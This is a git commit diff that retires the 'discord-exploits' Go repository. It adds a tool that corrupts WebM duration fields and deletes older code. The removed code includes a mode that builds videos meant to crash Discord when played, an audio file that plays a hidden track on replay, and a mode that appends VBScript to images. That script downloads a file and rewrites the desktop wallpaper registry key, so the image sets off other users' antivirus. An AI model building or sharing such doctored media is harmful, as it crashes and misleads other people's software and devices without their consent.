mirror of
https://github.com/Schmenn/discord-exploits.git
synced 2024-12-22 15:15:29 +00:00
Kill Project
This commit is contained in:
parent
7535d433b3
commit
e748fc65b5
|
@ -1,3 +1,10 @@
|
||||||
|
# DISCLAIMER: THIS PROJECT IS DEAD
|
||||||
|
|
||||||
|
### not only do half of the features not work, but ever since SomeOrdinaryGamers made his [youtube video](https://youtu.be/smNuREXq5wc?t=524) where he quickly glances over this repository, a lot of his viewers joined the discord server asking a lot of unnecessary and stupid questions that could've easily been answered if they just took a look at this readme or if they just straight up ignored this repository. This repository is being archived and most likely deleted in the future as it does not serve a purpose other than attracting script kiddies at this point. I have pushed new code that only does the webm duration mods and is generally more well-written.
|
||||||
|
|
||||||
|
<br><br>
|
||||||
|
|
||||||
|
|
||||||
[![GitHub stars](https://img.shields.io/github/stars/Schmenn/discord-exploits?color=FFFFFF&label=stars&style=flat-square)](https://github.com/Schmenn/discord-exploits/stargazers)
|
[![GitHub stars](https://img.shields.io/github/stars/Schmenn/discord-exploits?color=FFFFFF&label=stars&style=flat-square)](https://github.com/Schmenn/discord-exploits/stargazers)
|
||||||
![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/Schmenn/discord-exploits?color=FFFFFF&style=flat-square)
|
![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/Schmenn/discord-exploits?color=FFFFFF&style=flat-square)
|
||||||
![GitHub issues](https://img.shields.io/github/issues/Schmenn/discord-exploits?color=FFFFFF&style=flat-square)
|
![GitHub issues](https://img.shields.io/github/issues/Schmenn/discord-exploits?color=FFFFFF&style=flat-square)
|
||||||
|
|
125
discord-exploits.go
Normal file
125
discord-exploits.go
Normal file
|
@ -0,0 +1,125 @@
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"flag"
|
||||||
|
"math/rand"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/fatih/color"
|
||||||
|
"github.com/gabriel-vasile/mimetype"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
mode string
|
||||||
|
inputFile string
|
||||||
|
outputFile string
|
||||||
|
|
||||||
|
done = make(chan response, 1)
|
||||||
|
logRed = color.New(color.FgHiRed)
|
||||||
|
logGreen = color.New(color.FgHiGreen)
|
||||||
|
)
|
||||||
|
|
||||||
|
type response int
|
||||||
|
|
||||||
|
const (
|
||||||
|
responseWrongFileType response = iota
|
||||||
|
responseFileNotExist
|
||||||
|
responseUnknownError
|
||||||
|
responseDone
|
||||||
|
)
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
flag.StringVar(&mode, "m", "", "mode you want to use")
|
||||||
|
flag.StringVar(&inputFile, "i", "", "input file")
|
||||||
|
flag.StringVar(&outputFile, "o", "", "output file, will be random if its not set")
|
||||||
|
|
||||||
|
flag.Parse()
|
||||||
|
flag.CommandLine.SetOutput(os.Stdout)
|
||||||
|
flag.Usage = func() {
|
||||||
|
_, file := filepath.Split(os.Args[0])
|
||||||
|
logRed.Fprintf(flag.CommandLine.Output(), "Usage of %s:\n", file)
|
||||||
|
flag.PrintDefaults()
|
||||||
|
}
|
||||||
|
if mode == "" {
|
||||||
|
flag.Usage()
|
||||||
|
os.Exit(0)
|
||||||
|
}
|
||||||
|
if inputFile == "" {
|
||||||
|
if flag.Arg(0) == "" {
|
||||||
|
flag.Usage()
|
||||||
|
os.Exit(0)
|
||||||
|
}
|
||||||
|
inputFile = flag.Arg(0)
|
||||||
|
}
|
||||||
|
if outputFile == "" {
|
||||||
|
outputFile = createName()
|
||||||
|
}
|
||||||
|
|
||||||
|
mimetype.SetLimit(2 >> 15)
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
switch strings.ToLower(mode) {
|
||||||
|
case "z", "0", "zero":
|
||||||
|
webm([]byte{0, 0, 0, 0, 0, 0, 0, 0})
|
||||||
|
case "n", "-", "negative":
|
||||||
|
webm([]byte{66, 255, 176, 96, 0, 0, 0, 0})
|
||||||
|
case "e", "+", "expanding":
|
||||||
|
webm([]byte{63, 240, 0, 0, 0, 0, 0, 0})
|
||||||
|
|
||||||
|
default:
|
||||||
|
logRed.Println("Wrong mode!")
|
||||||
|
}
|
||||||
|
|
||||||
|
switch <-done {
|
||||||
|
case responseWrongFileType:
|
||||||
|
logRed.Println("Wrong File Type")
|
||||||
|
case responseFileNotExist:
|
||||||
|
logRed.Println("File Not Found")
|
||||||
|
case responseDone:
|
||||||
|
logGreen.Printf("Done, saved to %s", outputFile)
|
||||||
|
}
|
||||||
|
time.Sleep(time.Second * 5)
|
||||||
|
}
|
||||||
|
|
||||||
|
func webm(change []byte) {
|
||||||
|
b, err := os.ReadFile(inputFile)
|
||||||
|
if err != nil {
|
||||||
|
logRed.Sprintln("File could not be opened")
|
||||||
|
done <- responseFileNotExist
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
mime := mimetype.Detect(b).String()
|
||||||
|
if mime != "video/webm" && mime != "video/x-matroska" {
|
||||||
|
done <- responseWrongFileType
|
||||||
|
}
|
||||||
|
|
||||||
|
index := bytes.Index(b, []byte("\x44\x89\x88"))
|
||||||
|
if index == -1 {
|
||||||
|
done <- responseUnknownError
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if filepath.Ext(outputFile) == "" {
|
||||||
|
outputFile = outputFile + ".webm"
|
||||||
|
}
|
||||||
|
|
||||||
|
os.WriteFile(outputFile, bytes.Replace(b, b[index+3:index+10], change, 1), 0o777)
|
||||||
|
|
||||||
|
done <- responseDone
|
||||||
|
}
|
||||||
|
|
||||||
|
func createName() string {
|
||||||
|
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||||
|
b := make([]byte, 8)
|
||||||
|
rand.Seed(time.Now().UnixNano())
|
||||||
|
for i := range b {
|
||||||
|
b[i] = charset[rand.Intn(len(charset))]
|
||||||
|
}
|
||||||
|
return string(b)
|
||||||
|
}
|
201
exploits.go
201
exploits.go
|
@ -1,201 +0,0 @@
|
||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"github.com/Schmenn/discord-exploits/exploits"
|
|
||||||
"github.com/Schmenn/discord-exploits/modules"
|
|
||||||
"os"
|
|
||||||
"strings"
|
|
||||||
"path/filepath"
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
quiet bool = false
|
|
||||||
inputFile string = "no input file provided"
|
|
||||||
mode string = "no mode specified"
|
|
||||||
)
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
|
|
||||||
args := os.Args[1:]
|
|
||||||
handleArgs(args, &quiet)
|
|
||||||
if !quiet {
|
|
||||||
modules.Welcome()
|
|
||||||
}
|
|
||||||
|
|
||||||
fmt.Println("input file: " + inputFile)
|
|
||||||
fmt.Println("mode: " + mode)
|
|
||||||
|
|
||||||
initCommand(inputFile, mode)
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
func handleArgs(args []string, quiet *bool) {
|
|
||||||
|
|
||||||
for i, s := range args {
|
|
||||||
switch s {
|
|
||||||
// Quiet
|
|
||||||
case "-q", "--quiet":
|
|
||||||
*quiet = true
|
|
||||||
|
|
||||||
// Input File
|
|
||||||
case "-i":
|
|
||||||
absPath, err := filepath.Abs(args[i+1])
|
|
||||||
if err != nil {
|
|
||||||
absPath = args[i+1]
|
|
||||||
}
|
|
||||||
inputFile = filepath.FromSlash(absPath)
|
|
||||||
|
|
||||||
// Mode Selection
|
|
||||||
case "-m":
|
|
||||||
mode = args[i+1]
|
|
||||||
|
|
||||||
// Help Message
|
|
||||||
case "-h":
|
|
||||||
modules.Help(os.Args[0])
|
|
||||||
*quiet = true
|
|
||||||
return
|
|
||||||
|
|
||||||
default:
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
func initCommand(inputFile string, mode string) {
|
|
||||||
if strings.HasSuffix(inputFile, ".webm") {
|
|
||||||
|
|
||||||
switch mode {
|
|
||||||
case "e":
|
|
||||||
fmt.Println("editing video.")
|
|
||||||
exploits.RunExpandingVideoTask(inputFile)
|
|
||||||
fmt.Println("completed task.")
|
|
||||||
|
|
||||||
case "n":
|
|
||||||
fmt.Println("editing video.")
|
|
||||||
exploits.RunNegativeVideoTask(inputFile)
|
|
||||||
fmt.Println("completed task.")
|
|
||||||
|
|
||||||
case "0", "z":
|
|
||||||
fmt.Println("editing video.")
|
|
||||||
exploits.RunZeroVideoTask(inputFile)
|
|
||||||
fmt.Println("completed task.")
|
|
||||||
|
|
||||||
case "c":
|
|
||||||
fmt.Println("transcoding video from webm to mp4")
|
|
||||||
out := modules.Transcode(inputFile, "mp4")
|
|
||||||
fmt.Println("finished transcoding video from webm to mp4")
|
|
||||||
fmt.Println("editing video.")
|
|
||||||
exploits.RunCrashVideoTask(out)
|
|
||||||
fmt.Println("completed task.")
|
|
||||||
os.Remove(out)
|
|
||||||
|
|
||||||
default:
|
|
||||||
fmt.Println("the mode doesn't match the file")
|
|
||||||
}
|
|
||||||
|
|
||||||
} else if strings.HasSuffix(inputFile, ".mp4") {
|
|
||||||
|
|
||||||
switch mode {
|
|
||||||
case "e":
|
|
||||||
fmt.Println("transcoding video from mp4 to webm")
|
|
||||||
out := modules.Transcode(inputFile, "webm")
|
|
||||||
fmt.Println("finished transcoding video from mp4 to webm")
|
|
||||||
fmt.Println("editing video.")
|
|
||||||
exploits.RunExpandingVideoTask(out)
|
|
||||||
fmt.Println("completed task.")
|
|
||||||
os.Remove(out)
|
|
||||||
|
|
||||||
case "n":
|
|
||||||
fmt.Println("transcoding video from mp4 to webm")
|
|
||||||
out := modules.Transcode(inputFile, "webm")
|
|
||||||
fmt.Println("finished transcoding video from mp4 to webm")
|
|
||||||
fmt.Println("editing video.")
|
|
||||||
exploits.RunNegativeVideoTask(out)
|
|
||||||
fmt.Println("completed task.")
|
|
||||||
os.Remove(out)
|
|
||||||
|
|
||||||
case "0", "z":
|
|
||||||
fmt.Println("transcoding video from mp4 to webm")
|
|
||||||
out := modules.Transcode(inputFile, "webm")
|
|
||||||
fmt.Println("finished transcoding video from mp4 to webm")
|
|
||||||
fmt.Println("editing video.")
|
|
||||||
exploits.RunZeroVideoTask(out)
|
|
||||||
fmt.Println("completed task.")
|
|
||||||
os.Remove(out)
|
|
||||||
|
|
||||||
case "c":
|
|
||||||
fmt.Println("editing video.")
|
|
||||||
exploits.RunCrashVideoTask(inputFile)
|
|
||||||
fmt.Println("completed task.")
|
|
||||||
|
|
||||||
default:
|
|
||||||
fmt.Println("the mode doesn't match the file")
|
|
||||||
}
|
|
||||||
|
|
||||||
} else if strings.HasSuffix(inputFile, ".png") {
|
|
||||||
fmt.Println("editing photo.")
|
|
||||||
exploits.RunVirusImageTask(inputFile)
|
|
||||||
fmt.Println("completed task.")
|
|
||||||
|
|
||||||
} else if strings.HasSuffix(inputFile, ".jpg") {
|
|
||||||
fmt.Println("transcoding image from jpg to png")
|
|
||||||
out := modules.Transcode(inputFile, "png")
|
|
||||||
fmt.Println("finished transcoding image from jpg to png")
|
|
||||||
fmt.Println("editing photo.")
|
|
||||||
exploits.RunVirusImageTask(out)
|
|
||||||
fmt.Println("completed task.")
|
|
||||||
os.Remove(out)
|
|
||||||
|
|
||||||
} else if strings.HasSuffix(inputFile, ".jpeg") {
|
|
||||||
if strings.ToLower(mode) != "v" || strings.ToLower(mode) == "no mode specified" {
|
|
||||||
fmt.Println("the mode is not compatible with the image, proceeding to run the virus image task anyway")
|
|
||||||
}
|
|
||||||
fmt.Println("transcoding image from jpeg to png")
|
|
||||||
out := modules.Transcode(inputFile, "png")
|
|
||||||
fmt.Println("finished transcoding image from jpeg to png")
|
|
||||||
fmt.Println("editing photo.")
|
|
||||||
exploits.RunVirusImageTask(out)
|
|
||||||
fmt.Println("completed task.")
|
|
||||||
os.Remove(out)
|
|
||||||
|
|
||||||
} else if strings.HasSuffix(inputFile, ".ogg") {
|
|
||||||
if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified" {
|
|
||||||
fmt.Println("the mode is not compatible with the audio file, proceeding to run the play-twice task anyway")
|
|
||||||
}
|
|
||||||
fmt.Println("editing audio.")
|
|
||||||
exploits.RunTwiceAudioTask(inputFile)
|
|
||||||
fmt.Println("completed task.")
|
|
||||||
|
|
||||||
} else if strings.HasSuffix(inputFile, ".mp3") {
|
|
||||||
if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified" {
|
|
||||||
fmt.Println("the mode is not compatible with the audio file, proceeding to run the play-twice task anyway")
|
|
||||||
}
|
|
||||||
fmt.Println("transcoding audio from mp3 to ogg")
|
|
||||||
out := modules.Transcode(inputFile, "ogg")
|
|
||||||
fmt.Println("finished transcoding audio from mp3 to ogg")
|
|
||||||
fmt.Println("editing audio.")
|
|
||||||
exploits.RunTwiceAudioTask(out)
|
|
||||||
fmt.Println("completed task.")
|
|
||||||
os.Remove(out)
|
|
||||||
|
|
||||||
} else if strings.HasSuffix(inputFile, ".m4a") {
|
|
||||||
if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified" {
|
|
||||||
fmt.Println("the mode is not compatible with the audio file, proceeding to run the play-twice task anyway")
|
|
||||||
}
|
|
||||||
fmt.Println("transcoding audio from m4a to ogg")
|
|
||||||
out := modules.Transcode(inputFile, "ogg")
|
|
||||||
fmt.Println("finished transcoding audio from m4a to ogg")
|
|
||||||
fmt.Println("editing audio.")
|
|
||||||
exploits.RunTwiceAudioTask(out)
|
|
||||||
fmt.Println("completed task.")
|
|
||||||
os.Remove(out)
|
|
||||||
|
|
||||||
} else if inputFile == "no input file provided" {
|
|
||||||
return
|
|
||||||
|
|
||||||
} else {
|
|
||||||
fmt.Println("incompatible input file")
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,34 +0,0 @@
|
||||||
package exploits
|
|
||||||
|
|
||||||
import (
|
|
||||||
_ "embed" // embed
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
|
|
||||||
"github.com/Schmenn/discord-exploits/modules"
|
|
||||||
)
|
|
||||||
|
|
||||||
//go:embed crash.bin
|
|
||||||
var bin []byte
|
|
||||||
|
|
||||||
// RunCrashVideoTask takes the input file and makes a video from it that when played crashes discord
|
|
||||||
func RunCrashVideoTask(filename string) {
|
|
||||||
binname := modules.CreateName("bin")
|
|
||||||
outname := modules.CreateName("mp4")
|
|
||||||
txtname := modules.CreateName("txt")
|
|
||||||
err := os.WriteFile(txtname, []byte(`file '`+filename+`'`+"\n"+`file '`+binname+`'`), 0777)
|
|
||||||
modules.Check(err)
|
|
||||||
err = os.WriteFile(binname, bin, 0777)
|
|
||||||
modules.Check(err)
|
|
||||||
modules.CheckForFFmpeg()
|
|
||||||
cmd := exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname)
|
|
||||||
err = cmd.Run()
|
|
||||||
modules.Check(err)
|
|
||||||
|
|
||||||
err = os.Remove(binname)
|
|
||||||
modules.Check(err)
|
|
||||||
err = os.Remove(txtname)
|
|
||||||
modules.Check(err)
|
|
||||||
fmt.Println("Saved video to: " + outname)
|
|
||||||
}
|
|
Binary file not shown.
|
@ -1,38 +0,0 @@
|
||||||
package exploits
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"fmt"
|
|
||||||
"github.com/Schmenn/discord-exploits/modules"
|
|
||||||
"os"
|
|
||||||
)
|
|
||||||
|
|
||||||
// RunExpandingVideoTask edits file so that it keeps expanding while it's getting played
|
|
||||||
func RunExpandingVideoTask(fileName string) {
|
|
||||||
|
|
||||||
data, err := os.ReadFile(fileName)
|
|
||||||
modules.Check(err)
|
|
||||||
index := bytes.Index(data, []byte("\x44\x89\x88"))
|
|
||||||
if index == -1 {
|
|
||||||
fmt.Println("could not find the part of the file that needs to be modified, exiting")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
data[index+3] = 63
|
|
||||||
data[index+4] = 240
|
|
||||||
data[index+5] = 0
|
|
||||||
data[index+6] = 0
|
|
||||||
data[index+7] = 0
|
|
||||||
data[index+8] = 0
|
|
||||||
data[index+9] = 0
|
|
||||||
data[index+10] = 0
|
|
||||||
|
|
||||||
name := modules.CreateName("webm")
|
|
||||||
|
|
||||||
fmt.Println("Saved video to: " + name)
|
|
||||||
|
|
||||||
err = os.WriteFile(name, data, os.FileMode(0777))
|
|
||||||
if err != nil {
|
|
||||||
panic(err)
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,39 +0,0 @@
|
||||||
package exploits
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"fmt"
|
|
||||||
"github.com/Schmenn/discord-exploits/modules"
|
|
||||||
"os"
|
|
||||||
)
|
|
||||||
|
|
||||||
// RunNegativeVideoTask edits file so it has got a huge negative duration
|
|
||||||
func RunNegativeVideoTask(fileName string) {
|
|
||||||
|
|
||||||
data, err := os.ReadFile(fileName)
|
|
||||||
modules.Check(err)
|
|
||||||
index := bytes.Index(data, []byte("\x44\x89\x88"))
|
|
||||||
if index == -1 {
|
|
||||||
fmt.Println("could not find the part of the file that needs to be modified, exiting")
|
|
||||||
fmt.Println("are you sure the file is actually a webm?")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
data[index+3] = 66
|
|
||||||
data[index+4] = 255
|
|
||||||
data[index+5] = 176
|
|
||||||
data[index+6] = 96
|
|
||||||
data[index+7] = 0
|
|
||||||
data[index+8] = 0
|
|
||||||
data[index+9] = 0
|
|
||||||
data[index+10] = 0
|
|
||||||
|
|
||||||
name := modules.CreateName("webm")
|
|
||||||
|
|
||||||
fmt.Println("Saved video to: " + name)
|
|
||||||
|
|
||||||
err = os.WriteFile(name, data, os.FileMode(0777))
|
|
||||||
if err != nil {
|
|
||||||
panic(err)
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,27 +0,0 @@
|
||||||
package exploits
|
|
||||||
|
|
||||||
import (
|
|
||||||
_ "embed" // embed
|
|
||||||
"fmt"
|
|
||||||
"github.com/Schmenn/discord-exploits/modules"
|
|
||||||
"os"
|
|
||||||
)
|
|
||||||
|
|
||||||
//go:embed twice.ogg
|
|
||||||
var twiceOgg []byte
|
|
||||||
|
|
||||||
// RunTwiceAudioTask edits audio file so it plays a different track when played again
|
|
||||||
func RunTwiceAudioTask(fileName string) {
|
|
||||||
data, err := os.ReadFile(fileName)
|
|
||||||
modules.Check(err)
|
|
||||||
|
|
||||||
twice := append(twiceOgg, data...)
|
|
||||||
|
|
||||||
name := modules.CreateName("ogg")
|
|
||||||
fmt.Println("Saved video to: " + name)
|
|
||||||
|
|
||||||
err = os.WriteFile(name, twice, os.FileMode(0777))
|
|
||||||
if err != nil {
|
|
||||||
panic(err)
|
|
||||||
}
|
|
||||||
}
|
|
Binary file not shown.
|
@ -1,29 +0,0 @@
|
||||||
package exploits
|
|
||||||
|
|
||||||
import (
|
|
||||||
_ "embed" // embed
|
|
||||||
"fmt"
|
|
||||||
"github.com/Schmenn/discord-exploits/modules"
|
|
||||||
"os"
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
//go:embed virus1.txt
|
|
||||||
vpng1 []byte
|
|
||||||
//go:embed virus2.txt
|
|
||||||
vpng2 []byte
|
|
||||||
vpng = append(vpng1, vpng2...)
|
|
||||||
)
|
|
||||||
|
|
||||||
// RunVirusImageTask edits file
|
|
||||||
func RunVirusImageTask(fileName string) {
|
|
||||||
data, err := os.ReadFile(fileName)
|
|
||||||
modules.Check(err)
|
|
||||||
data = append(data, vpng...)
|
|
||||||
name := modules.CreateName("png")
|
|
||||||
fmt.Println("Saved video to: " + name)
|
|
||||||
err = os.WriteFile(name, data, os.FileMode(0777))
|
|
||||||
if err != nil {
|
|
||||||
panic(err)
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,10 +0,0 @@
|
||||||
Set objShell = CreateObject("WScript.Shell")
|
|
||||||
Set objEnv = objShell.Environment("User")
|
|
||||||
|
|
||||||
strDirectory = objShell.ExpandEnvironmentStrings("%temp%")
|
|
||||||
|
|
||||||
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
|
|
||||||
dim bStrm: Set bStrm = createobject("Adodb.Stream")
|
|
||||||
xHttp.Open "GET", "https://cdn.discordapp.com/emojis/681577625394872370.png?v=1", False
|
|
||||||
xHttp.Send
|
|
||||||
|
|
|
@ -1,9 +0,0 @@
|
||||||
with bStrm
|
|
||||||
.type = 1 '//binary
|
|
||||||
.open
|
|
||||||
.write xHttp.responseBody
|
|
||||||
.savetofile strDirectory + "\myImage.png", 2 '//overwrite
|
|
||||||
end with
|
|
||||||
|
|
||||||
objShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", strDirectory + "\myImage.png"
|
|
||||||
objShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True
|
|
|
@ -1,39 +0,0 @@
|
||||||
package exploits
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"fmt"
|
|
||||||
"github.com/Schmenn/discord-exploits/modules"
|
|
||||||
"os"
|
|
||||||
)
|
|
||||||
|
|
||||||
// RunZeroVideoTask edits file so it has got a duration of 0
|
|
||||||
func RunZeroVideoTask(fileName string) {
|
|
||||||
|
|
||||||
data, err := os.ReadFile(fileName)
|
|
||||||
modules.Check(err)
|
|
||||||
index := bytes.Index(data, []byte("\x44\x89\x88"))
|
|
||||||
if index == -1 {
|
|
||||||
fmt.Println("could not find the part of the file that needs to be modified, exiting")
|
|
||||||
fmt.Println("are you sure the file is actually a webm?")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
data[index+3] = 0
|
|
||||||
data[index+4] = 0
|
|
||||||
data[index+5] = 0
|
|
||||||
data[index+6] = 0
|
|
||||||
data[index+7] = 0
|
|
||||||
data[index+8] = 0
|
|
||||||
data[index+9] = 0
|
|
||||||
data[index+10] = 0
|
|
||||||
|
|
||||||
name := modules.CreateName("webm")
|
|
||||||
|
|
||||||
fmt.Println("Saved video to: "+name)
|
|
||||||
|
|
||||||
err = os.WriteFile(name, data, os.FileMode(0777))
|
|
||||||
if err != nil {
|
|
||||||
panic(err)
|
|
||||||
}
|
|
||||||
}
|
|
16
go.mod
16
go.mod
|
@ -1,3 +1,15 @@
|
||||||
module github.com/Schmenn/discord-exploits
|
module github.com/schmenn/discord-exploits
|
||||||
|
|
||||||
go 1.16
|
go 1.17
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/fatih/color v1.12.0
|
||||||
|
github.com/gabriel-vasile/mimetype v1.3.1
|
||||||
|
)
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||||
|
github.com/mattn/go-isatty v0.0.13 // indirect
|
||||||
|
golang.org/x/net v0.0.0-20210505024714-0287a6fb4125 // indirect
|
||||||
|
golang.org/x/sys v0.0.0-20210423082822-04245dca01da // indirect
|
||||||
|
)
|
||||||
|
|
20
go.sum
Normal file
20
go.sum
Normal file
|
@ -0,0 +1,20 @@
|
||||||
|
github.com/fatih/color v1.12.0 h1:mRhaKNwANqRgUBGKmnI5ZxEk7QXmjQeCcuYFMX2bfcc=
|
||||||
|
github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||||
|
github.com/gabriel-vasile/mimetype v1.3.1 h1:qevA6c2MtE1RorlScnixeG0VA1H4xrXyhyX3oWBynNQ=
|
||||||
|
github.com/gabriel-vasile/mimetype v1.3.1/go.mod h1:fA8fi6KUiG7MgQQ+mEWotXoEOvmxRtOJlERCzSmRvr8=
|
||||||
|
github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
|
||||||
|
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||||
|
github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
|
||||||
|
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||||
|
github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
|
||||||
|
github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||||
|
golang.org/x/net v0.0.0-20210505024714-0287a6fb4125 h1:Ugb8sMTWuWRC3+sz5WeN/4kejDx9BvIwnPUiJBjJE+8=
|
||||||
|
golang.org/x/net v0.0.0-20210505024714-0287a6fb4125/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||||
|
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20210423082822-04245dca01da h1:b3NXsE2LusjYGGjL5bxEVZZORm/YEFFrWFjR8eFrw/c=
|
||||||
|
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||||
|
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||||
|
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
|
@ -1,8 +0,0 @@
|
||||||
package modules
|
|
||||||
|
|
||||||
// Check Error Handling
|
|
||||||
func Check(e error) {
|
|
||||||
if e != nil {
|
|
||||||
panic(e)
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,18 +0,0 @@
|
||||||
package modules
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
)
|
|
||||||
|
|
||||||
// CheckForFFmpeg looks for ffmpeg in the path
|
|
||||||
func CheckForFFmpeg() (string) {
|
|
||||||
path, err := exec.LookPath("ffmpeg")
|
|
||||||
|
|
||||||
if err != nil {
|
|
||||||
fmt.Println("Could not find FFmpeg, maybe you don't have it installed or on your PATH")
|
|
||||||
os.Exit(1)
|
|
||||||
}
|
|
||||||
return path
|
|
||||||
}
|
|
|
@ -1,30 +0,0 @@
|
||||||
package modules
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
)
|
|
||||||
|
|
||||||
//Help program usage
|
|
||||||
func Help(progName string) {
|
|
||||||
fmt.Println("Discord-Exploits Help")
|
|
||||||
fmt.Println(" Usage: " + progName + " -i <input file> -m <mode> [-q]")
|
|
||||||
fmt.Println("")
|
|
||||||
fmt.Println("--quiet -q don't show welcome screen")
|
|
||||||
fmt.Println("-i <file> provide input file")
|
|
||||||
fmt.Println("-m <mode> specify mode")
|
|
||||||
fmt.Println("")
|
|
||||||
fmt.Println("modes:")
|
|
||||||
fmt.Println(" video:")
|
|
||||||
fmt.Println(" e takes input video (.webm or .mp4) and edits it so discord will keep making it longer")
|
|
||||||
fmt.Println(" n takes input video (.webm or .mp4) and edits it so discord will think it has got a huge negative duration")
|
|
||||||
fmt.Println(" z, 0 takes input video (.webm or .mp4) and edits it so discord will think it has got a 0s duration")
|
|
||||||
fmt.Println(" c takes input video (.webm or .mp4) and edits it so discord will crash when you play it to the end (only works on some PCs)")
|
|
||||||
fmt.Println(" image:")
|
|
||||||
fmt.Println(" v takes an image (.png, .jpg or .jpeg) and makes other users' windows defender think it's a virus")
|
|
||||||
fmt.Println(" audio:")
|
|
||||||
fmt.Println(" t takes an audio file (.ogg, .m4a or .mp3) and edits it so discord will play a second audio track when you replay it.")
|
|
||||||
fmt.Println("")
|
|
||||||
fmt.Println("the following file formats require ffmpeg: .mp4, .jpg, .jpeg, .ogg, .m4a and .mp3")
|
|
||||||
fmt.Println("")
|
|
||||||
|
|
||||||
}
|
|
|
@ -1,17 +0,0 @@
|
||||||
package modules
|
|
||||||
|
|
||||||
import (
|
|
||||||
"math/rand"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
// CreateName generates a random file name
|
|
||||||
func CreateName(extension string) string {
|
|
||||||
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
|
||||||
b := make([]byte, 8)
|
|
||||||
rand.Seed(time.Now().UnixNano())
|
|
||||||
for i := range b {
|
|
||||||
b[i] = charset[rand.Intn(len(charset))]
|
|
||||||
}
|
|
||||||
return string(b) + "." + extension
|
|
||||||
}
|
|
|
